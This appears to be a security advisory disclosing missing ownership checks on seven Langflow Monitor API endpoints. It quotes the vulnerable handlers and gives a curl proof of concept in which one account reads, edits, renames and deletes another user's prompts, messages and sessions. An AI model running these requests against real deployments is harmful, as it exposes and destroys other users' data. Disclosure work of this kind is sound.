Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints

stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id)  # ownership enforced

@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)  # no ownership check
    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)

@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
    # message_ids accepted verbatim, no ownership check

db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)

stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

await session.exec(
    delete(MessageTable).where(col(MessageTable.session_id) == session_id)
    # no ownership filter
)

stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=langflow&password=langflow" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=attacker_test&password=Attacker123" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — full transaction log returned including user prompts and model responses

# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200

# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '["<victim_message_id>"]'
# HTTP 204 — message deleted

# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200 — message overwritten, "edit":true set

# PoC 5: Rename victim's session
curl -s -X PATCH \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — session renamed

# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 204 — entire session deleted